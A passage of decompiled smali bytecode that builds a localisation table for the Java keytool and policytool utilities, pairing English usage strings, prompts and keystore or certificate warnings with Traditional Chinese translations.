                                                                              1093new-array v2, v6, [Ljava/lang/Object;
                                                                              1095const-string v3, "Is <name> correct?"
                                                                              1096aput-object v3, v2, v4
                                                                              1098const-string v3, "{0} \u6b63\u78ba\u55ce\uff1f"
                                                                              1099aput-object v3, v2, v5
                                                                              1100aput-object v2, v0, v1
                                                                              1101const/16 v1, 0x7a
                                                                              1102new-array v2, v6, [Ljava/lang/Object;
                                                                              1104const-string v3, "no"
                                                                              1105aput-object v3, v2, v4
                                                                              1107const-string v3, "\u5426"
                                                                              1108aput-object v3, v2, v5
                                                                              1109aput-object v2, v0, v1
                                                                              1110const/16 v1, 0x7b
                                                                              1111new-array v2, v6, [Ljava/lang/Object;
                                                                              1113const-string v3, "yes"
                                                                              1114aput-object v3, v2, v4
                                                                              1116const-string v3, "\u662f"
                                                                              1117aput-object v3, v2, v5
                                                                              1118aput-object v2, v0, v1
                                                                              1119const/16 v1, 0x7c
                                                                              1120new-array v2, v6, [Ljava/lang/Object;
                                                                              1122const-string v3, "y"
                                                                              1123aput-object v3, v2, v4
                                                                              1125const-string v3, "y"
                                                                              1126aput-object v3, v2, v5
                                                                              1127aput-object v2, v0, v1
                                                                              1128const/16 v1, 0x7d
                                                                              1129new-array v2, v6, [Ljava/lang/Object;
                                                                              1131const-string v3, " [defaultValue]: "
                                                                              1132aput-object v3, v2, v4
                                                                              1134const-string v3, " [{0}]\uff1a "
                                                                              1135aput-object v3, v2, v5
                                                                              1136aput-object v2, v0, v1
                                                                              1137const/16 v1, 0x7e
                                                                              1138new-array v2, v6, [Ljava/lang/Object;
                                                                              1140const-string v3, "Alias <alias> has no key"
                                                                              1141aput-object v3, v2, v4
                                                                              1143const-string v3, "\u5225\u540d <{0}> \u6c92\u6709\u91d1\u9470"
                                                                              1144aput-object v3, v2, v5
                                                                              1145aput-object v2, v0, v1
                                                                              1146const/16 v1, 0x7f
                                                                              1147new-array v2, v6, [Ljava/lang/Object;
                                                                              1149const-string v3, "Alias <alias> references an entry type that is not a private key entry. The -keyclone command only supports cloning of private key entries"
                                                                              1150aput-object v3, v2, v4
                                                                              1152const-string v3, "\u5225\u540d <{0}> \u6240\u53c3\u7167\u7684\u9805\u76ee\u4e0d\u662f\u79c1\u5bc6\u91d1\u9470\u985e\u578b\u3002-keyclone \u6307\u4ee4\u50c5\u652f\u63f4\u79c1\u5bc6\u91d1\u9470\u9805\u76ee\u7684\u8907\u88fd"
                                                                              1153aput-object v3, v2, v5
                                                                              1154aput-object v2, v0, v1
                                                                              1155const/16 v1, 0x80
                                                                              1156new-array v2, v6, [Ljava/lang/Object;
                                                                              1158const-string v3, "***************** WARNING WARNING WARNING *****************"
                                                                              1159aput-object v3, v2, v4
                                                                              1161const-string v3, "***************** \u8b66\u544a \u8b66\u544a \u8b66\u544a *****************"
                                                                              1162aput-object v3, v2, v5
                                                                              1163aput-object v2, v0, v1
                                                                              1164const/16 v1, 0x81
                                                                              1165new-array v2, v6, [Ljava/lang/Object;
                                                                              1167const-string v3, "* The integrity of the information stored in your keystore *"
                                                                              1168aput-object v3, v2, v4
                                                                              1170const-string v3, "* \u8cc7\u6599\u7684\u5b8c\u6574\u6027\u5df2\u5132\u5b58\u5728\u60a8\u7684 keystore \u4e2d *"
                                                                              1171aput-object v3, v2, v5
                                                                              1172aput-object v2, v0, v1
                                                                              1173const/16 v1, 0x82
                                                                              1174new-array v2, v6, [Ljava/lang/Object;
                                                                              1176const-string v3, "* The integrity of the information stored in the srckeystore*"
                                                                              1177aput-object v3, v2, v4
                                                                              1179const-string v3, "* \u5b8c\u6574\u7684\u8cc7\u8a0a\u5132\u5b58\u5728 srckeystore \u4e2d *"
                                                                              1180aput-object v3, v2, v5
                                                                              1181aput-object v2, v0, v1
                                                                              1182const/16 v1, 0x83
                                                                              1183new-array v2, v6, [Ljava/lang/Object;
                                                                              1185const-string v3, "* has NOT been verified! In order to verify its integrity, *"
                                                                              1186aput-object v3, v2, v4
                                                                              1188const-string v3, "* \u5c1a\u672a\u88ab\u9a57\u8b49\uff01 \u70ba\u4e86\u9a57\u8b49\u5176\u5b8c\u6574\u6027\uff0c *"
                                                                              1189aput-object v3, v2, v5
                                                                              1190aput-object v2, v0, v1
                                                                              1191const/16 v1, 0x84
                                                                              1192new-array v2, v6, [Ljava/lang/Object;
                                                                              1194const-string v3, "* you must provide your keystore password. *"
                                                                              1195aput-object v3, v2, v4
                                                                              1197const-string v3, "* \u60a8\u5fc5\u9808\u63d0\u4f9b\u60a8 keystore \u7684\u5bc6\u78bc\u3002 *"
                                                                              1198aput-object v3, v2, v5
                                                                              1199aput-object v2, v0, v1
                                                                              1200const/16 v1, 0x85
                                                                              1201new-array v2, v6, [Ljava/lang/Object;
                                                                              1203const-string v3, "* you must provide the srckeystore password. *"
                                                                              1204aput-object v3, v2, v4
                                                                              1206const-string v3, "* \u60a8\u5fc5\u9808\u63d0\u4f9b srckeystore \u5bc6\u78bc\u3002 *"
                                                                              1207aput-object v3, v2, v5
                                                                              1208aput-object v2, v0, v1
                                                                              1209const/16 v1, 0x86
                                                                              1210new-array v2, v6, [Ljava/lang/Object;
                                                                              1212const-string v3, "Certificate reply does not contain public key for <alias>"
                                                                              1213aput-object v3, v2, v4
                                                                              1215const-string v3, "\u8a8d\u8b49\u56de\u8986\u4e26\u672a\u5305\u542b <{0}> \u7684\u516c\u958b\u91d1\u9470"
                                                                              1216aput-object v3, v2, v5
                                                                              1217aput-object v2, v0, v1
                                                                              1218const/16 v1, 0x87
                                                                              1219new-array v2, v6, [Ljava/lang/Object;
                                                                              1221const-string v3, "Incomplete certificate chain in reply"
                                                                              1222aput-object v3, v2, v4
                                                                              1224const-string v3, "\u56de\u8986\u6642\u7684\u8a8d\u8b49\u9375\u4e0d\u5b8c\u6574"
                                                                              1225aput-object v3, v2, v5
                                                                              1226aput-object v2, v0, v1
                                                                              1227const/16 v1, 0x88
                                                                              1228new-array v2, v6, [Ljava/lang/Object;
                                                                              1230const-string v3, "Certificate chain in reply does not verify: "
                                                                              1231aput-object v3, v2, v4
                                                                              1233const-string v3, "\u56de\u8986\u6642\u7684\u8a8d\u8b49\u93c8\u672a\u9a57\u8b49\uff1a "
                                                                              1234aput-object v3, v2, v5
                                                                              1235aput-object v2, v0, v1
                                                                              1236const/16 v1, 0x89
                                                                              1237new-array v2, v6, [Ljava/lang/Object;
                                                                              1239const-string v3, "Top-level certificate in reply:\n"
                                                                              1240aput-object v3, v2, v4
                                                                              1242const-string v3, "\u56de\u8986\u6642\u7684\u6700\u9ad8\u7d1a\u8a8d\u8b49\uff1a\n"
                                                                              1243aput-object v3, v2, v5
                                                                              1244aput-object v2, v0, v1
                                                                              1245const/16 v1, 0x8a
                                                                              1246new-array v2, v6, [Ljava/lang/Object;
                                                                              1248const-string v3, "... is not trusted. "
                                                                              1249aput-object v3, v2, v4
                                                                              1251const-string v3, "... \u662f\u4e0d\u88ab\u4fe1\u4efb\u7684\u3002 "
                                                                              1252aput-object v3, v2, v5
                                                                              1253aput-object v2, v0, v1
                                                                              1254const/16 v1, 0x8b
                                                                              1255new-array v2, v6, [Ljava/lang/Object;
                                                                              1257const-string v3, "Install reply anyway? [no]: "
                                                                              1258aput-object v3, v2, v4
                                                                              1260const-string v3, "\u9084\u662f\u8981\u5b89\u88dd\u56de\u8986\uff1f [\u5426]\uff1a "
                                                                              1261aput-object v3, v2, v5
                                                                              1262aput-object v2, v0, v1
                                                                              1263const/16 v1, 0x8c
                                                                              1264new-array v2, v6, [Ljava/lang/Object;
                                                                              1266const-string v3, "NO"
                                                                              1267aput-object v3, v2, v4
                                                                              1269const-string v3, "\u5426"
                                                                              1270aput-object v3, v2, v5
                                                                              1271aput-object v2, v0, v1
                                                                              1272const/16 v1, 0x8d
                                                                              1273new-array v2, v6, [Ljava/lang/Object;
                                                                              1275const-string v3, "Public keys in reply and keystore don\'t match"
                                                                              1276aput-object v3, v2, v4
                                                                              1278const-string v3, "\u56de\u8986\u6642\u7684\u516c\u958b\u91d1\u9470\u8207 keystore \u4e0d\u7b26"
                                                                              1279aput-object v3, v2, v5
                                                                              1280aput-object v2, v0, v1
                                                                              1281const/16 v1, 0x8e
                                                                              1282new-array v2, v6, [Ljava/lang/Object;
                                                                              1284const-string v3, "Certificate reply and certificate in keystore are identical"
                                                                              1285aput-object v3, v2, v4
                                                                              1287const-string v3, "\u8a8d\u8b49\u56de\u8986\u8207 keystore \u4e2d\u7684\u8a8d\u8b49\u662f\u76f8\u540c\u7684"
                                                                              1288aput-object v3, v2, v5
                                                                              1289aput-object v2, v0, v1
                                                                              1290const/16 v1, 0x8f
                                                                              1291new-array v2, v6, [Ljava/lang/Object;
                                                                              1293const-string v3, "Failed to establish chain from reply"
                                                                              1294aput-object v3, v2, v4
                                                                              1296const-string v3, "\u7121\u6cd5\u5f9e\u56de\u8986\u4e2d\u5c07\u9375\u5efa\u7acb\u8d77\u4f86"
                                                                              1297aput-object v3, v2, v5
                                                                              1298aput-object v2, v0, v1
                                                                              1299const/16 v1, 0x90
                                                                              1300new-array v2, v6, [Ljava/lang/Object;
                                                                              1302const-string v3, "n"
                                                                              1303aput-object v3, v2, v4
                                                                              1305const-string v3, "n"
                                                                              1306aput-object v3, v2, v5
                                                                              1307aput-object v2, v0, v1
                                                                              1308const/16 v1, 0x91
                                                                              1309new-array v2, v6, [Ljava/lang/Object;
                                                                              1311const-string v3, "Wrong answer, try again"
                                                                              1312aput-object v3, v2, v4
                                                                              1314const-string v3, "\u932f\u8aa4\u7684\u7b54\u6848\uff0c\u8acb\u518d\u8a66\u4e00\u6b21"
                                                                              1315aput-object v3, v2, v5
                                                                              1316aput-object v2, v0, v1
                                                                              1317const/16 v1, 0x92
                                                                              1318new-array v2, v6, [Ljava/lang/Object;
                                                                              1320const-string v3, "Secret key not generated, alias <alias> already exists"
                                                                              1321aput-object v3, v2, v4
                                                                              1323const-string v3, "\u672a\u7522\u751f\u79d8\u5bc6\u91d1\u9470\uff0c\u5225\u540d <{0}> \u5df2\u5b58\u5728"
                                                                              1324aput-object v3, v2, v5
                                                                              1325aput-object v2, v0, v1
                                                                              1326const/16 v1, 0x93
                                                                              1327new-array v2, v6, [Ljava/lang/Object;
                                                                              1329const-string v3, "Please provide -keysize for secret key generation"
                                                                              1330aput-object v3, v2, v4
                                                                              1332const-string v3, "\u8acb\u63d0\u4f9b -keysize \u4ee5\u7522\u751f\u79d8\u5bc6\u91d1\u9470"
                                                                              1333aput-object v3, v2, v5
                                                                              1334aput-object v2, v0, v1
                                                                              1335const/16 v1, 0x94
                                                                              1336new-array v2, v6, [Ljava/lang/Object;
                                                                              1338const-string v3, "keytool usage:\n"
                                                                              1339aput-object v3, v2, v4
                                                                              1341const-string v3, "keytool \u7528\u6cd5\uff1a\n"
                                                                              1342aput-object v3, v2, v5
                                                                              1343aput-object v2, v0, v1
                                                                              1344const/16 v1, 0x95
                                                                              1345new-array v2, v6, [Ljava/lang/Object;
                                                                              1347const-string v3, "Extensions: "
                                                                              1348aput-object v3, v2, v4
                                                                              1350const-string v3, "\u5ef6\u4f38\uff1a "
                                                                              1351aput-object v3, v2, v5
                                                                              1352aput-object v2, v0, v1
                                                                              1353const/16 v1, 0x96
                                                                              1354new-array v2, v6, [Ljava/lang/Object;
                                                                              1356const-string v3, "-certreq [-v] [-protected]"
                                                                              1357aput-object v3, v2, v4
                                                                              1359const-string v3, "-certreq [-v] [-protected]"
                                                                              1360aput-object v3, v2, v5
                                                                              1361aput-object v2, v0, v1
                                                                              1362const/16 v1, 0x97
                                                                              1363new-array v2, v6, [Ljava/lang/Object;
                                                                              1365const-string v3, "\t [-alias <alias>] [-sigalg <sigalg>]"
                                                                              1366aput-object v3, v2, v4
                                                                              1368const-string v3, "\t [-alias <\u5225\u540d>] [-sigalg <\u7c3d\u7ae0\u6f14\u7b97\u6cd5>]"
                                                                              1369aput-object v3, v2, v5
                                                                              1370aput-object v2, v0, v1
                                                                              1371const/16 v1, 0x98
                                                                              1372new-array v2, v6, [Ljava/lang/Object;
                                                                              1374const-string v3, "\t [-file <csr_file>] [-keypass <keypass>]"
                                                                              1375aput-object v3, v2, v4
                                                                              1377const-string v3, "\t [-file <\u6191\u8b49\u7c3d\u7ae0\u8981\u6c42\u6a94\u6848>] [-keypass <\u4e3b\u5bc6\u78bc>]"
                                                                              1378aput-object v3, v2, v5
                                                                              1379aput-object v2, v0, v1
                                                                              1380const/16 v1, 0x99
                                                                              1381new-array v2, v6, [Ljava/lang/Object;
                                                                              1383const-string v3, "\t [-keystore <keystore>] [-storepass <storepass>]"
                                                                              1384aput-object v3, v2, v4
                                                                              1386const-string v3, "\t [-keystore <\u91d1\u9470\u5132\u5b58\u5eab>] [-storepass <\u5132\u5b58\u5eab\u5bc6\u78bc>]"
                                                                              1387aput-object v3, v2, v5
                                                                              1388aput-object v2, v0, v1
                                                                              1389const/16 v1, 0x9a
                                                                              1390new-array v2, v6, [Ljava/lang/Object;
                                                                              1392const-string v3, "\t [-storetype <storetype>] [-providername <name>]"
                                                                              1393aput-object v3, v2, v4
                                                                              1395const-string v3, "\t[-storetype <\u5132\u5b58\u5eab\u985e\u578b>] [-providername <\u540d\u7a31>]"
                                                                              1396aput-object v3, v2, v5
                                                                              1397aput-object v2, v0, v1
                                                                              1398const/16 v1, 0x9b
                                                                              1399new-array v2, v6, [Ljava/lang/Object;
                                                                              1401const-string v3, "\t [-providerclass <provider_class_name> [-providerarg <arg>]] ..."
                                                                              1402aput-object v3, v2, v4
                                                                              1404const-string v3, "\t[-providerclass <\u63d0\u4f9b\u8005\u985e\u5225\u540d\u7a31> [-providerarg <\u5f15\u6578>]] ..."
                                                                              1405aput-object v3, v2, v5
                                                                              1406aput-object v2, v0, v1
                                                                              1407const/16 v1, 0x9c
                                                                              1408new-array v2, v6, [Ljava/lang/Object;
                                                                              1410const-string v3, "\t [-providerpath <pathlist>]"
                                                                              1411aput-object v3, v2, v4
                                                                              1413const-string v3, "\t[-providerpath <\u8def\u5f91\u6e05\u55ae>]"
                                                                              1414aput-object v3, v2, v5
                                                                              1415aput-object v2, v0, v1
                                                                              1416const/16 v1, 0x9d
                                                                              1417new-array v2, v6, [Ljava/lang/Object;
                                                                              1419const-string v3, "-delete [-v] [-protected] -alias <alias>"
                                                                              1420aput-object v3, v2, v4
                                                                              1422const-string v3, "-delete [-v] [-protected] -alias <\u5225\u540d>"
                                                                              1423aput-object v3, v2, v5
                                                                              1424aput-object v2, v0, v1
                                                                              1425const/16 v1, 0x9e
                                                                              1426new-array v2, v6, [Ljava/lang/Object;
                                                                              1428const-string v3, "-exportcert [-v] [-rfc] [-protected]"
                                                                              1429aput-object v3, v2, v4
                                                                              1431const-string v3, "-exportcert [-v] [-rfc] [-protected]"
                                                                              1432aput-object v3, v2, v5
                                                                              1433aput-object v2, v0, v1
                                                                              1434const/16 v1, 0x9f
                                                                              1435new-array v2, v6, [Ljava/lang/Object;
                                                                              1437const-string v3, "\t [-alias <alias>] [-file <cert_file>]"
                                                                              1438aput-object v3, v2, v4
                                                                              1440const-string v3, "\t [-alias <\u5225\u540d>] [-file <\u8a8d\u8b49\u6a94\u6848>]"
                                                                              1441aput-object v3, v2, v5
                                                                              1442aput-object v2, v0, v1
                                                                              1443const/16 v1, 0xa0
                                                                              1444new-array v2, v6, [Ljava/lang/Object;
                                                                              1446const-string v3, "-genkeypair [-v] [-protected]"
                                                                              1447aput-object v3, v2, v4
                                                                              1449const-string v3, "-genkeypair [-v] [-protected]"
                                                                              1450aput-object v3, v2, v5
                                                                              1451aput-object v2, v0, v1
                                                                              1452const/16 v1, 0xa1
                                                                              1453new-array v2, v6, [Ljava/lang/Object;
                                                                              1455const-string v3, "\t [-alias <alias>]"
                                                                              1456aput-object v3, v2, v4
                                                                              1458const-string v3, "\t [-alias <\u5225\u540d>]"
                                                                              1459aput-object v3, v2, v5
                                                                              1460aput-object v2, v0, v1
                                                                              1461const/16 v1, 0xa2
                                                                              1462new-array v2, v6, [Ljava/lang/Object;
                                                                              1464const-string v3, "\t [-keyalg <keyalg>] [-keysize <keysize>]"
                                                                              1465aput-object v3, v2, v4
                                                                              1467const-string v3, "\t [-keyalg <\u91d1\u9470\u6f14\u7b97\u6cd5>] [-keysize <\u91d1\u9470\u5927\u5c0f>]"
                                                                              1468aput-object v3, v2, v5
                                                                              1469aput-object v2, v0, v1
                                                                              1470const/16 v1, 0xa3
                                                                              1471new-array v2, v6, [Ljava/lang/Object;
                                                                              1473const-string v3, "\t [-sigalg <sigalg>] [-dname <dname>]"
                                                                              1474aput-object v3, v2, v4
                                                                              1476const-string v3, "\t [-sigalg <\u7c3d\u7ae0\u6f14\u7b97\u6cd5>] [-dname <\u7db2\u57df\u540d\u7a31>]"
                                                                              1477aput-object v3, v2, v5
                                                                              1478aput-object v2, v0, v1
                                                                              1479const/16 v1, 0xa4
                                                                              1480new-array v2, v6, [Ljava/lang/Object;
                                                                              1482const-string v3, "\t [-validity <valDays>] [-keypass <keypass>]"
                                                                              1483aput-object v3, v2, v4
                                                                              1485const-string v3, "\t [-validity <\u6709\u6548\u5929\u6578>] [-keypass <\u4e3b\u5bc6\u78bc>]"
                                                                              1486aput-object v3, v2, v5
                                                                              1487aput-object v2, v0, v1
                                                                              1488const/16 v1, 0xa5
                                                                              1489new-array v2, v6, [Ljava/lang/Object;
                                                                              1491const-string v3, "-genseckey [-v] [-protected]"
                                                                              1492aput-object v3, v2, v4
                                                                              1494const-string v3, "-genseckey [-v] [-protected]"
                                                                              1495aput-object v3, v2, v5
                                                                              1496aput-object v2, v0, v1
                                                                              1497const/16 v1, 0xa6
                                                                              1498new-array v2, v6, [Ljava/lang/Object;
                                                                              1500const-string v3, "-help"
                                                                              1501aput-object v3, v2, v4
                                                                              1503const-string v3, "-help"
                                                                              1504aput-object v3, v2, v5
                                                                              1505aput-object v2, v0, v1
                                                                              1506const/16 v1, 0xa7
                                                                              1507new-array v2, v6, [Ljava/lang/Object;
                                                                              1509const-string v3, "-importcert [-v] [-noprompt] [-trustcacerts] [-protected]"
                                                                              1510aput-object v3, v2, v4
                                                                              1512const-string v3, "-importcert [-v] [-noprompt] [-trustcacerts] [-protected]"
                                                                              1513aput-object v3, v2, v5
                                                                              1514aput-object v2, v0, v1
                                                                              1515const/16 v1, 0xa8
                                                                              1516new-array v2, v6, [Ljava/lang/Object;
                                                                              1518const-string v3, "\t [-alias <alias>]"
                                                                              1519aput-object v3, v2, v4
                                                                              1521const-string v3, "\t [-alias <\u5225\u540d>]"
                                                                              1522aput-object v3, v2, v5
                                                                              1523aput-object v2, v0, v1
                                                                              1524const/16 v1, 0xa9
                                                                              1525new-array v2, v6, [Ljava/lang/Object;
                                                                              1527const-string v3, "\t [-alias <alias>] [-keypass <keypass>]"
                                                                              1528aput-object v3, v2, v4
                                                                              1530const-string v3, "\t[-alias <\u5225\u540d>] [-keypass <\u4e3b\u5bc6\u78bc>]"
                                                                              1531aput-object v3, v2, v5
                                                                              1532aput-object v2, v0, v1
                                                                              1533const/16 v1, 0xaa
                                                                              1534new-array v2, v6, [Ljava/lang/Object;
                                                                              1536const-string v3, "\t [-file <cert_file>] [-keypass <keypass>]"
                                                                              1537aput-object v3, v2, v4
                                                                              1539const-string v3, "\t [-file <\u8a8d\u8b49\u6a94\u6848>] [-keypass <\u4e3b\u5bc6\u78bc>]"
                                                                              1540aput-object v3, v2, v5
                                                                              1541aput-object v2, v0, v1
                                                                              1542const/16 v1, 0xab
                                                                              1543new-array v2, v6, [Ljava/lang/Object;
                                                                              1545const-string v3, "-importkeystore [-v] "
                                                                              1546aput-object v3, v2, v4
                                                                              1548const-string v3, "-importkeystore [-v]"
                                                                              1549aput-object v3, v2, v5
                                                                              1550aput-object v2, v0, v1
                                                                              1551const/16 v1, 0xac
                                                                              1552new-array v2, v6, [Ljava/lang/Object;
                                                                              1554const-string v3, "\t [-srckeystore <srckeystore>] [-destkeystore <destkeystore>]"
                                                                              1555aput-object v3, v2, v4
                                                                              1557const-string v3, "\t[-srckeystore <\u4f86\u6e90\u91d1\u9470\u5132\u5b58\u5eab>] [-destkeystore <\u76ee\u6a19\u91d1\u9470\u5132\u5b58\u5eab>]"
                                                                              1558aput-object v3, v2, v5
                                                                              1559aput-object v2, v0, v1
                                                                              1560const/16 v1, 0xad
                                                                              1561new-array v2, v6, [Ljava/lang/Object;
                                                                              1563const-string v3, "\t [-srcstoretype <srcstoretype>] [-deststoretype <deststoretype>]"
                                                                              1564aput-object v3, v2, v4
                                                                              1566const-string v3, "\t[-srcstoretype <\u4f86\u6e90\u5132\u5b58\u5eab\u985e\u578b>] [-deststoretype <\u76ee\u6a19\u5132\u5b58\u5eab\u985e\u578b>]"
                                                                              1567aput-object v3, v2, v5
                                                                              1568aput-object v2, v0, v1
                                                                              1569const/16 v1, 0xae
                                                                              1570new-array v2, v6, [Ljava/lang/Object;
                                                                              1572const-string v3, "\t [-srcprotected] [-destprotected]"
                                                                              1573aput-object v3, v2, v4
                                                                              1575const-string v3, "\t[-srcprotected] [-destprotected]"
                                                                              1576aput-object v3, v2, v5
                                                                              1577aput-object v2, v0, v1
                                                                              1578const/16 v1, 0xaf
                                                                              1579new-array v2, v6, [Ljava/lang/Object;
                                                                              1581const-string v3, "\t [-srcstorepass <srcstorepass>] [-deststorepass <deststorepass>]"
                                                                              1582aput-object v3, v2, v4
                                                                              1584const-string v3, "\t[-srcstorepass <\u4f86\u6e90\u5132\u5b58\u5eab\u5bc6\u78bc>] [-deststorepass <\u76ee\u6a19\u5132\u5b58\u5eab\u5bc6\u78bc>]"
                                                                              1585aput-object v3, v2, v5
                                                                              1586aput-object v2, v0, v1
                                                                              1587const/16 v1, 0xb0
                                                                              1588new-array v2, v6, [Ljava/lang/Object;
                                                                              1590const-string v3, "\t [-srcprovidername <srcprovidername>]\n\t [-destprovidername <destprovidername>]"
                                                                              1591aput-object v3, v2, v4
                                                                              1593const-string v3, "\t[-srcprovidername <\u4f86\u6e90\u63d0\u4f9b\u8005\u540d\u7a31>]\n\t[-destprovidername <\u76ee\u6a19\u63d0\u4f9b\u8005\u540d\u7a31>]"
                                                                              1594aput-object v3, v2, v5
                                                                              1595aput-object v2, v0, v1
                                                                              1596const/16 v1, 0xb1
                                                                              1597new-array v2, v6, [Ljava/lang/Object;
                                                                              1599const-string v3, "\t [-srcalias <srcalias> [-destalias <destalias>]"
                                                                              1600aput-object v3, v2, v4
                                                                              1602const-string v3, "\t[-srcalias <\u4f86\u6e90\u5225\u540d> [-destalias <\u76ee\u6a19\u5225\u540d>]"
                                                                              1603aput-object v3, v2, v5
                                                                              1604aput-object v2, v0, v1
                                                                              1605const/16 v1, 0xb2
                                                                              1606new-array v2, v6, [Ljava/lang/Object;
                                                                              1608const-string v3, "\t [-srckeypass <srckeypass>] [-destkeypass <destkeypass>]]"
                                                                              1609aput-object v3, v2, v4
                                                                              1611const-string v3, "\t[-srckeypass <\u4f86\u6e90\u4e3b\u5bc6\u78bc>] [-destkeypass <\u76ee\u6a19\u4e3b\u5bc6\u78bc>]]"
                                                                              1612aput-object v3, v2, v5
                                                                              1613aput-object v2, v0, v1
                                                                              1614const/16 v1, 0xb3
                                                                              1615new-array v2, v6, [Ljava/lang/Object;
                                                                              1617const-string v3, "\t [-noprompt]"
                                                                              1618aput-object v3, v2, v4
                                                                              1620const-string v3, "\t[-noprompt]"
                                                                              1621aput-object v3, v2, v5
                                                                              1622aput-object v2, v0, v1
                                                                              1623const/16 v1, 0xb4
                                                                              1624new-array v2, v6, [Ljava/lang/Object;
                                                                              1626const-string v3, "-changealias [-v] [-protected] -alias <alias> -destalias <destalias>"
                                                                              1627aput-object v3, v2, v4
                                                                              1629const-string v3, "-changealias [-v] [-protected] -alias <\u5225\u540d> -destalias <\u76ee\u6a19\u5225\u540d>"
                                                                              1630aput-object v3, v2, v5
                                                                              1631aput-object v2, v0, v1
                                                                              1632const/16 v1, 0xb5
                                                                              1633new-array v2, v6, [Ljava/lang/Object;
                                                                              1635const-string v3, "\t [-keypass <keypass>]"
                                                                              1636aput-object v3, v2, v4
                                                                              1638const-string v3, "\t [-keypass <\u4e3b\u5bc6\u78bc>]"
                                                                              1639aput-object v3, v2, v5
                                                                              1640aput-object v2, v0, v1
                                                                              1641const/16 v1, 0xb6
                                                                              1642new-array v2, v6, [Ljava/lang/Object;
                                                                              1644const-string v3, "-keypasswd [-v] [-alias <alias>]"
                                                                              1645aput-object v3, v2, v4
                                                                              1647const-string v3, "-keypasswd [-v] [-alias <\u5225\u540d>]"
                                                                              1648aput-object v3, v2, v5
                                                                              1649aput-object v2, v0, v1
                                                                              1650const/16 v1, 0xb7
                                                                              1651new-array v2, v6, [Ljava/lang/Object;
                                                                              1653const-string v3, "\t [-keypass <old_keypass>] [-new <new_keypass>]"
                                                                              1654aput-object v3, v2, v4
                                                                              1656const-string v3, "\t [-keypass <\u820a\u4e3b\u5bc6\u78bc>] [-new <\u65b0\u4e3b\u5bc6\u78bc>]"
                                                                              1657aput-object v3, v2, v5
                                                                              1658aput-object v2, v0, v1
                                                                              1659const/16 v1, 0xb8
                                                                              1660new-array v2, v6, [Ljava/lang/Object;
                                                                              1662const-string v3, "-list [-v | -rfc] [-protected]"
                                                                              1663aput-object v3, v2, v4
                                                                              1665const-string v3, "-list [-v | -rfc] [-protected]"
                                                                              1666aput-object v3, v2, v5
                                                                              1667aput-object v2, v0, v1
                                                                              1668const/16 v1, 0xb9
                                                                              1669new-array v2, v6, [Ljava/lang/Object;
                                                                              1671const-string v3, "\t [-alias <alias>]"
                                                                              1672aput-object v3, v2, v4
                                                                              1674const-string v3, "\t [-alias <\u5225\u540d>]"
                                                                              1675aput-object v3, v2, v5
                                                                              1676aput-object v2, v0, v1
                                                                              1677const/16 v1, 0xba
                                                                              1678new-array v2, v6, [Ljava/lang/Object;
                                                                              1680const-string v3, "-printcert [-v] [-file <cert_file>]"
                                                                              1681aput-object v3, v2, v4
                                                                              1683const-string v3, "-printcert [-v] [-file <\u8a8d\u8b49\u6a94\u6848>]"
                                                                              1684aput-object v3, v2, v5
                                                                              1685aput-object v2, v0, v1
                                                                              1686const/16 v1, 0xbb
                                                                              1687new-array v2, v6, [Ljava/lang/Object;
                                                                              1689const-string v3, "\t [-alias <alias>]"
                                                                              1690aput-object v3, v2, v4
                                                                              1692const-string v3, "\t [-alias <\u5225\u540d>]"
                                                                              1693aput-object v3, v2, v5
                                                                              1694aput-object v2, v0, v1
                                                                              1695const/16 v1, 0xbc
                                                                              1696new-array v2, v6, [Ljava/lang/Object;
                                                                              1698const-string v3, "-storepasswd [-v] [-new <new_storepass>]"
                                                                              1699aput-object v3, v2, v4
                                                                              1701const-string v3, "-storepasswd [-v] [-new <\u65b0\u5132\u5b58\u5eab\u5bc6\u78bc>]"
                                                                              1702aput-object v3, v2, v5
                                                                              1703aput-object v2, v0, v1
                                                                              1704const/16 v1, 0xbd
                                                                              1705new-array v2, v6, [Ljava/lang/Object;
                                                                              1707const-string v3, "Warning: A public key for alias \'signers[i]\' does not exist. Make sure a KeyStore is properly configured."
                                                                              1708aput-object v3, v2, v4
                                                                              1710const-string v3, "\u8b66\u544a\ufe30\u5225\u540d {0} \u7684\u516c\u958b\u91d1\u9470\u4e0d\u5b58\u5728\u3002\u8acb\u78ba\u5b9a\u91d1\u9470\u5132\u5b58\u5eab\u914d\u7f6e\u6b63\u78ba\u3002"
                                                                              1711aput-object v3, v2, v5
                                                                              1712aput-object v2, v0, v1
                                                                              1713const/16 v1, 0xbe
                                                                              1714new-array v2, v6, [Ljava/lang/Object;
                                                                              1716const-string v3, "Warning: Class not found: class"
                                                                              1717aput-object v3, v2, v4
                                                                              1719const-string v3, "\u8b66\u544a\ufe30\u627e\u4e0d\u5230\u985e\u5225 {0}"
                                                                              1720aput-object v3, v2, v5
                                                                              1721aput-object v2, v0, v1
                                                                              1722const/16 v1, 0xbf
                                                                              1723new-array v2, v6, [Ljava/lang/Object;
                                                                              1725const-string v3, "Warning: Invalid argument(s) for constructor: arg"
                                                                              1726aput-object v3, v2, v4
                                                                              1728const-string v3, "\u8b66\u544a\ufe30\u7121\u6548\u7684\u5efa\u69cb\u5b50\u5f15\u6578\uff1a{0}"
                                                                              1729aput-object v3, v2, v5
                                                                              1730aput-object v2, v0, v1
                                                                              1731const/16 v1, 0xc0
                                                                              1732new-array v2, v6, [Ljava/lang/Object;
                                                                              1734const-string v3, "Illegal Principal Type: type"
                                                                              1735aput-object v3, v2, v4
                                                                              1737const-string v3, "\u975e\u6cd5\u7684\u4e3b\u9ad4\u985e\u578b\ufe30{0}"
                                                                              1738aput-object v3, v2, v5
                                                                              1739aput-object v2, v0, v1
                                                                              1740const/16 v1, 0xc1
                                                                              1741new-array v2, v6, [Ljava/lang/Object;
                                                                              1743const-string v3, "Illegal option: option"
                                                                              1744aput-object v3, v2, v4
                                                                              1746const-string v3, "\u975e\u6cd5\u7684\u9078\u9805\uff1a{0}"
                                                                              1747aput-object v3, v2, v5
                                                                              1748aput-object v2, v0, v1
                                                                              1749const/16 v1, 0xc2
                                                                              1750new-array v2, v6, [Ljava/lang/Object;
                                                                              1752const-string v3, "Usage: policytool [options]"
                                                                              1753aput-object v3, v2, v4
                                                                              1755const-string v3, "\u7528\u6cd5\uff1a policytool [\u9078\u9805]"
                                                                              1756aput-object v3, v2, v5
                                                                              1757aput-object v2, v0, v1
                                                                              1758const/16 v1, 0xc3
                                                                              1759new-array v2, v6, [Ljava/lang/Object;
                                                                              1761const-string v3, " [-file <file>] policy file location"
                                                                              1762aput-object v3, v2, v4
                                                                              1764const-string v3, " [-file <file>] \u898f\u5247\u6a94\u6848\u4f4d\u7f6e"
                                                                              1765aput-object v3, v2, v5
